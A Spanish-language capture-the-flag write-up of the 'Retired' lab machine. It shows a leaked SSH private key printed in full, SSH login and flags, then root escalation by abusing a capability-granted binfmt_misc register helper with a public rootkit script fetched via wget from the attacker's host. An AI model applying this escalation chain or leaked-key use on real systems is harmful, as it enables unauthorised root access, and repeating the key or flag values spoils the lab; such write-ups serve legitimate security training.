61067 2021-10-13 02:59 var/www/html/assets/img/team/2.jpg
57725 2021-10-13 02:59 var/www/html/assets/img/team/3.jpg
40338 2021-10-13 02:59 var/www/html/assets/img/team/1.jpg
238317 2021-10-13 02:59 var/www/html/assets/img/header-bg.jpg
4144 2022-03-11 11:34 var/www/html/beta.html
11414 2021-10-13 02:58 var/www/html/default.html
348 2022-03-11 11:29 var/www/html/index.php
2590 2022-03-11 11:12 var/www/html/dev_id_rsa
0 2022-03-11 14:36 var/www/html/css/
219875 2021-10-13 02:59 var/www/html/css/styles.css
--------- -------
753039 30 files
Vamos a extraer los archivos:
www-data@retired:~$ mv 2022-04-03_13-14-04-html.zip /tmp
www-data@retired:~$ cd /tmp
www-data@retired:/tmp$ unzip 2022-04-03_13-14-04-html.zip
Archive: 2022-04-03_13-14-04-html.zip
creating: var/www/html/
creating: var/www/html/js/
inflating: var/www/html/js/scripts.js
inflating: var/www/html/activate_license.php
creating: var/www/html/assets/
inflating: var/www/html/assets/favicon.ico
creating: var/www/html/assets/img/
inflating: var/www/html/assets/img/close-icon.svg
inflating: var/www/html/assets/img/navbar-logo.svg
creating: var/www/html/assets/img/about/
inflating: var/www/html/assets/img/about/2.jpg
inflating: var/www/html/assets/img/about/4.jpg
inflating: var/www/html/assets/img/about/3.jpg
inflating: var/www/html/assets/img/about/1.jpg
creating: var/www/html/assets/img/logos/
inflating: var/www/html/assets/img/logos/facebook.svg
inflating: var/www/html/assets/img/logos/microsoft.svg
inflating: var/www/html/assets/img/logos/google.svg
inflating: var/www/html/assets/img/logos/ibm.svg
creating: var/www/html/assets/img/team/
inflating: var/www/html/assets/img/team/2.jpg
inflating: var/www/html/assets/img/team/3.jpg
inflating: var/www/html/assets/img/team/1.jpg
inflating: var/www/html/assets/img/header-bg.jpg
inflating: var/www/html/beta.html
inflating: var/www/html/default.html
inflating: var/www/html/index.php
inflating: var/www/html/dev_id_rsa
creating: var/www/html/css/
extracting: var/www/html/css/styles.css
www-data@retired:/tmp$ cat var/www/html/dev_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
7rTyG3wbNka1sAAAALZGV2QHJldGlyZWQ=
-----END OPENSSH PRIVATE KEY-----
Ahora nos podemos conectar como dev
y obtener la flag user.txt
:
$ chmod 600 id_rsa
$ ssh -i id_rsa dev@10.10.11.154
dev@retired:~$ cat user.txt
f78b01da6c3d56436a6005509fdff826
Escalada de privilegios
Este usuario tiene un directorio llamado emuemu
(podemos recordarlo de la página web):
dev@retired:~$ ls -la
total 40
drwx------ 6 dev dev 4096 Mar 11 14:36 .
drwxr-xr-x 3 root root 4096 Mar 11 14:36 ..
lrwxrwxrwx 1 root root 9 Oct 13 02:59 .bash_history -> /dev/null
-rw------- 1 dev dev 220 Aug 4 2021 .bash_logout
-rw------- 1 dev dev 3526 Aug 4 2021 .bashrc
drwxr-xr-x 3 dev dev 4096 Mar 11 14:36 .local
-rw------- 1 dev dev 807 Aug 4 2021 .profile
drwx------ 2 dev dev 4096 Mar 11 14:36 .ssh
drwx------ 2 dev dev 4096 Mar 11 14:36 activate_license
drwx------ 3 dev dev 4096 Mar 11 14:36 emuemu
-rw-r----- 1 root dev 33 Apr 3 21:28 user.txt
Tenemos todo esto:
dev@retired:~/emuemu$ ls -la
total 68
drwx------ 3 dev dev 4096 Mar 11 14:36 .
drwx------ 6 dev dev 4096 Mar 11 14:36 ..
-rw------- 1 dev dev 673 Oct 13 02:59 Makefile
-rw------- 1 dev dev 228 Oct 13 02:59 README.md
-rw------- 1 dev dev 16608 Oct 13 02:59 emuemu
-rw------- 1 dev dev 168 Oct 13 02:59 emuemu.c
-rw------- 1 dev dev 16864 Oct 13 02:59 reg_helper
-rw------- 1 dev dev 502 Oct 13 02:59 reg_helper.c
drwx------ 2 dev dev 4096 Mar 11 14:36 test
dev@retired:~/emuemu$ ls -la test
total 12
drwx------ 2 dev dev 4096 Mar 11 14:36 .
drwx------ 3 dev dev 4096 Mar 11 14:36 ..
-rwxr-xr-x 1 dev dev 70 Oct 13 02:59 examplerom
Vamos a leer el README.md
:
dev@retired:~/emuemu$ cat README.md
EMUEMU is the official software emulator for the handheld console OSTRICH.
After installation with `make install`, OSTRICH ROMs can be simply executed from the terminal.
For example the ROM named `rom` can be run with `./rom`.
Dice que podemos ejecutar la ROP como un archivo ejecutable normal:
dev@retired:~/emuemu$ test/examplerom
EMUEMU is still under development.
Perfecto, podemos ejecutar una ROM, vamos a mirar los archivos en C:
dev@retired:~/emuemu$ cat emuemu.c
#include <stdio.h>
/* currently this is only a dummy implementation doing nothing */
int main(void) {
puts("EMUEMU is still under development.");
return 1;
}
¡Eh! este archivo genera la ROM que hemos ejecutado antes. Vamos a comprobarlo:
dev@retired:~/emuemu$ file test/examplerom
test/examplerom: data
dev@retired:~/emuemu$ cat test/examplerom
7OSTRICHROM
this is a minimal rom with a valid file type signature
dev@retired:~/emuemu$ xxd test/examplerom
00000000: 1337 4f53 5452 4943 4800 524f 4d00 0a74 .7OSTRICH.ROM..t
00000010: 6869 7320 6973 2061 206d 696e 696d 616c his is a minimal
00000020: 2072 6f6d 2077 6974 6820 6120 7661 6c69 rom with a vali
00000030: 6420 6669 6c65 2074 7970 6520 7369 676e d file type sign
00000040: 6174 7572 650a ature.
Análisis de la ROM
¿Pero, qué pasa aquí? test/examplerom
parece un archivo normal. Por lo menos no es un ELF. Vamos a ver si reg_helper.c
nos lo clarifica:
dev@retired:~/emuemu$ cat reg_helper.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
char cmd[512] = { 0 };
read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
if (-1 == fd)
perror("open");
if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
perror("write");
if (close(fd) == -1)
perror("close");
return 0;
}
Esto es bastante interesante, deberíamos hacer un poco de investigación acerca de /proc/sys/fs/binfmt_misc/register
. Pero vamos a mirar el Makefile
primero:
dev@retired:~/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)
.PHONY: install clean
install: $(TARGETS)
@echo "[+] Installing program files"
install --mode 0755 emuemu /usr/bin/
mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
@echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
| tee /usr/lib/binfmt.d/emuemu.conf \
| /usr/lib/emuemu/reg_helper
clean:
rm -f -- $(TARGETS)
Perfecto, sabemos que hay binarios en /usr/bin/emuemu
y /usr/lib/emuemu/reg_helper
. Estos son los mismos que los que vimos antes:
dev@retired:~/emuemu$ md5sum /usr/bin/emuemu emuemu /usr/lib/emuemu/reg_helper reg_helper
27641ed1f6105c6f70f5167610fa0b7e /usr/bin/emuemu
27641ed1f6105c6f70f5167610fa0b7e emuemu
1600a7013d283b9aaa6b7a07f8e45b2a /usr/lib/emuemu/reg_helper
1600a7013d283b9aaa6b7a07f8e45b2a reg_helper
Y no podemos modificarlos. Nótese que el Makefile
configura un formato ejecutable personalizado (binfmt
). Se cuarda en /usr/lib/binfmt.d/emuemu.conf
:
dev@retired:~/emuemu$ cat /usr/lib/binfmt.d/emuemu.conf
:EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:
Entonces, todos los archivos que empiecen por \x13\x37OSTRICH\x00ROM\x00
serán ejecutados con /usr/bin/emuemu
. Ahora todo tiene sentido:
dev@retired:~/emuemu$ /usr/bin/emuemu
EMUEMU is still under development.
dev@retired:~/emuemu$ xxd test/examplerom
00000000: 1337 4f53 5452 4943 4800 524f 4d00 0a74 .7OSTRICH.ROM..t
00000010: 6869 7320 6973 2061 206d 696e 696d 616c his is a minimal
00000020: 2072 6f6d 2077 6974 6820 6120 7661 6c69 rom with a vali
00000030: 6420 6669 6c65 2074 7970 6520 7369 676e d file type sign
00000040: 6174 7572 650a ature.
dev@retired:~/emuemu$ test/examplerom
EMUEMU is still under development.
Debido a reg_helper
, somos capaces de crear formatos ejecutables personalizados. Por ejemplo:
dev@retired:~/emuemu$ echo ':test:M::rocky::/usr/bin/emuemu:' | /usr/lib/emuemu/reg_helper
dev@retired:~/emuemu$ echo -e 'rocky\nThis is a custom executable file' > /tmp/test
dev@retired:~/emuemu$ cat /tmp/test
rocky
This is a custom executable file
dev@retired:~/emuemu$ chmod +x /tmp/test
dev@retired:~/emuemu$ /tmp/test
EMUEMU is still under development.
Exploitación de binfmt_misc
Vale, ¿pero qué podemos hacer con esto? Bueno, existe un exploit de /proc/sys/fs/binfmt_misc/register
cuando tenemos permisos de escritura en él, y lo tenemos porque reg_helper
lo modifica (tiene una capability CAP_DAC_OVERRIDE
). El exploit se puede encontrar aquí.
Tenemos que descargar el script y modificar algunas líneas. Primero, me desharé de la validación de que /proc/sys/fs/binfmt_misc/register
es modificable (ya sabemos que sí). Y luego, tenemos que modificar la manera en la que se escriben los datos en el registro. Es decir, esta línea:
echo "$binfmt_line" > "$mountpoint"/register
Se transforma en esta:
echo "$binfmt_line" | /usr/lib/emuemu/reg_helper
Finalmente, descargamos el script en la máquina y lo ejecutamos para convertirnos en root
:
dev@retired:~/emuemu$ cd /tmp
dev@retired:/tmp$ wget -q 10.10.17.44/binfmt_rootkit
dev@retired:/tmp$ chmod +x binfmt_rootkit
dev@retired:/tmp$ ./binfmt_rootkit
uid=0(root) euid=0(root)
# cat /root/root.txt
d8544f2779e7f65f61a1fcbe7eee471a